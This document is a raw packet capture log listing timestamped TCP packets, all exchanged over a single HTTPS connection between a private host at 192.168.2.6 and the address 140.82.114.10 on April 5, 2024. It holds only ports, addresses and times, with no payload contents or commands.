Apr 5, 2024 20:10:30.342925072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.342957020 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.342961073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.342968941 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.342978001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.343009949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.343013048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.343051910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.343663931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.343682051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.343715906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.343719959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.343758106 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.343776941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.345041037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.345058918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.345102072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.345108032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.345144033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.345169067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.346319914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346347094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346398115 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.346401930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346410036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346430063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346437931 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.346441984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346453905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.346467972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346492052 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.346496105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.346507072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347095013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347110033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347138882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347142935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347161055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347177029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347182989 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347198009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347215891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347239017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347246885 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347250938 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347265005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347295046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347297907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347327948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347384930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347404957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347440004 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347444057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347460985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347476959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347511053 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347520113 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347523928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347537041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347560883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347563982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347585917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347588062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347594976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347629070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347632885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347647905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347659111 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347664118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347691059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347695112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347707033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347728014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347732067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347738028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347753048 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347779036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347791910 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347839117 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347846031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347862959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347866058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347896099 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347899914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347918034 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347929955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347944021 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.347949982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347959995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.347976923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348006010 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348032951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348048925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348083019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348087072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348104000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348114967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348124027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348125935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348135948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348155975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348186016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348201036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348206043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348242044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348256111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348273039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348285913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348289967 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348311901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348326921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348345995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348356962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348361015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348377943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348397970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348401070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348412037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348432064 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348457098 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348458052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348469019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348486900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348488092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348511934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348515987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348536968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348542929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348546028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348551989 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348591089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348597050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348612070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348654032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348656893 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348665953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348680019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348686934 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348735094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348742008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348746061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348767042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348783016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348795891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348826885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348838091 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348840952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348853111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348867893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348891973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348906994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348927021 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.348931074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348963976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348984003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.348989010 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349021912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349025965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349037886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349070072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349071980 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349097967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349102020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349117994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349128008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349150896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349193096 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349193096 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349199057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349211931 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349215031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349263906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349265099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349273920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349296093 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349324942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349328995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349339962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349354982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349359989 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349386930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349416018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349437952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349442005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349469900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349486113 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349524021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349551916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349556923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349574089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349580050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349591970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349622011 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349625111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349647999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349667072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349672079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349709988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349714041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349724054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349740982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349740982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349766970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349771023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349783897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349783897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349800110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349807978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349812031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349838018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349852085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349868059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349872112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349898100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349900007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349915981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349945068 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349948883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349977016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.349978924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.349994898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350034952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350044012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350081921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350085020 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350097895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350126028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350136995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350148916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350156069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350172997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350203037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350207090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350227118 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350244999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350291014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350295067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350301981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350322962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350327969 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350331068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350362062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350375891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350392103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350419998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350424051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350455046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350455046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350474119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350502014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350506067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350522041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350538015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350548983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350586891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350605965 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350610018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350635052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350653887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350655079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350683928 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350687981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350709915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350724936 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350725889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350765944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350769997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350779057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350800037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350811005 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350831985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350835085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350847006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350862980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350864887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350903988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350907087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350920916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350941896 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350972891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.350975037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.350981951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351006985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351033926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351037025 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351064920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351077080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351082087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351087093 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351092100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351134062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351136923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351155996 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351165056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351169109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351183891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351214886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351350069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351366043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351394892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351399899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351437092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351453066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.351459026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.351506948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.352308035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.352329969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.352371931 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.352375031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.352406025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.352849007 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.353230000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.353246927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.353308916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.353315115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.354295969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.354315996 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.354341984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.354351997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.354373932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.354737997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.355477095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.356007099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.356023073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.356065035 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.356070042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.356199026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.356251001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.356256008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.356297016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.359020948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.359036922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.359075069 CEST	49727	443	192.168.2.6	140.82.114.10
